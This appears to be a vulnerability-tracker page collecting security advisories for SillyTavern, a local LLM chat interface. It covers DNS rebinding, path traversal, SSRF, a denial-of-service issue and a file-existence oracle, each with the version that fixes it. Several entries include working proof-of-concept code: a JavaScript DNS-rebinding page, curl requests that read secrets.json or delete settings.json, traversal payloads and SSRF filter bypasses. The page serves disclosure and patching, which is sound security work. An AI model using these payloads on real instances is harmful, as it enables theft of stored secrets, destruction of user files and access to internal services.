See how sillytavern compares to other vendors in security performance
Summary The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC 1. Host the PoC HTML file on a /rebind.html endpoint (or any other endpoint) on a web server on port 8000 2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B) 3. Replace the URL in the HTML with the returned URL on the site 4. Go to http://[URL]:8000/rebind.html in firefox or on any mobile browser if you're using termux 5. Check the developer tools console. It should return all of the data
Here is the PoC code:
html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Rebind Payload</title> </head> <body> <script> async function tryRebind() { while (true) { try { let res = await fetch("http://[DOMAIN HERE]:8000/"); let text = await res.text();
if (text.includes("Directory listing for /")) { console.log("Still attacker server, retrying..."); await new Promise(r => setTimeout(r, 2000)); continue; // don't break yet }
console.log("GOT VICTIM RESPONSE!"); console.log(text.substring(0, 300)); break;
} catch (e) { console.log("Fetch failed, retrying...", e); await new Promise(r => setTimeout(r, 2000)); } } } tryRebind(); </script> </body> </html>
Impact Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERNHOSTWHITELISTENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
- Documentation - Security checklist
Resources - https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
Summary A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatarurl="..".
Details The input validator used by avatarurl blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence: - Weak validator regex (does not reject ..): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27> - Vulnerable delete path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577> - Vulnerable export path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>
Because avatarurl=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
PoC Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)
Read sensitive file (secrets.json):
bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatarurl":"..","isgroup":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \ http://TARGET:8000/api/chats/export
Delete sensitive file (settings.json):
bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatarurl":"..","chatfile":"settings.json"}' \ http://TARGET:8000/api/chats/delete
Impact - Confidentiality: exposed per-user secrets and config data. - Integrity/Availability: attacker can delete critical per-user files and break account operation. - Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.16.0, a Server-Side Request Forgery (SSRF) vulnerability in the asset download endpoint allows authenticated users to make arbitrary HTTP requests from the server and read the full response body, enabling access to internal services, cloud metadata, and private network resources. The vulnerability has been patched in the version 1.16.0 by introducing a whitelist domain check for asset download requests. It can be reviewed and customized by editing the whitelistImportDomains array in the config.yaml file.
SillyTavern 1.12.13 through 1.19.0 contains a denial of service vulnerability that allows unauthenticated remote attackers to exhaust resources because body-parser middleware runs before authentication and whitelist checks. Attackers can send large or compressed JSON or urlencoded bodies up to 500 MB, optionally in parallel, to exhaust memory and CPU and deny service.
Summary A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into charactername.
Details charactername is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.
Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized charactername used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>
Example payload: - charactername=../../../../tmp/stpoc
This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).
PoC Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)
Prepare payload:
bash printf '{"username":"u","chatmetadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl
Trigger arbitrary write:
bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" \ -F "avatar=@/tmp/poc.jsonl" \ -F "filetype=jsonl" \ -F "avatarurl=a.png" \ -F "charactername=../../../../tmp/stpoc" \ -F "username=u" \ http://TARGET:8000/api/chats/import
Observed result: - A file is created outside chats directory, for example: /tmp/stpoc - <timestamp> imported.jsonl
Impact - Integrity: attacker can create files in unintended filesystem locations. - Availability: can be used for disk abuse and disruptive file placement. - Can become more severe when chained with other local processing behaviors.
Resolution
The issue was addressed in version 1.17.0
Summary
A path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. By sending percent-encoded ../ sequences (%2E%2E%2F) in requests to static file routes, an attacker can check for the existence of files (404 if it doesn't exist, 403 means it exists).
Details
The vulnerability is in createRouteHandler (src/users.js:947–963), which backs all user-data static file routes:
javascript function createRouteHandler(directoryFn) { return async (req, res) => { const directory = directoryFn(req); const filePath = decodeURIComponent(req.params[0]); const exists = fs.existsSync(path.join(directory, filePath)); // no boundary check here if (!exists) { return res.sendStatus(404); } return res.sendFile(filePath, { root: directory }); }; }
req.params[0] contains the raw (percent-encoded) wildcard from the URL. After decodeURIComponent, a request path like /characters/%2E%2E%2F%2E%2E%2FUsers/kirakira decodes to ../../Users/kirakira, and path.join resolves it outside the intended directory. res.sendFile correctly blocks the file from being served (the send module's root check returns 403), but fs.existsSync had already run, and the 403/404 distinction reveals the result.
Affected routes (they all use the same handler, so they're all affected):
- /characters/ - /user/files/ - /assets/ - /user/images/ - /backgrounds/ - /User%20Avatars/
PoC
bash curl -o /dev/null -s -w "%{httpcode}\n" "http://localhost:8000/characters/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers/kirakira/something"
Impact
While file contents cannot be read (the send module blocks actual delivery), anyone who can reach the SillyTavern HTTP port can check the existence of files on the host filesystem.
Resolution
The issue was addressed in version 1.17.0.
Details Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.
In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: - localhost (hostname, not dotted-quad) - [::1] (IPv6 loopback) - DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)
A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.
PoC 1. Start SillyTavern v1.16.0 normally 2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled): bash Blocked — dotted-quad matched by regex curl -s -o /dev/null -w "%{httpcode}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: application/json" \ -d '{"url": "http://127.0.0.1/", "html": true}' Returns: 400 (blocked)
Bypassed — "localhost" is not dotted-quad curl -s -o /dev/null -w "%{httpcode}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: application/json" \ -d '{"url": "http://localhost/", "html": true}' Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
Bypassed — IPv6 loopback is not dotted-quad curl -s -o /dev/null -w "%{httpcode}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: application/json" \ -d '{"url": "http://[::1]/", "html": true}' Returns: 500 (passed validation, fetch attempted)
The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.
Impact Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.
Resolution
The issue was addressed in version 1.17.0 by improving IPv6 address validation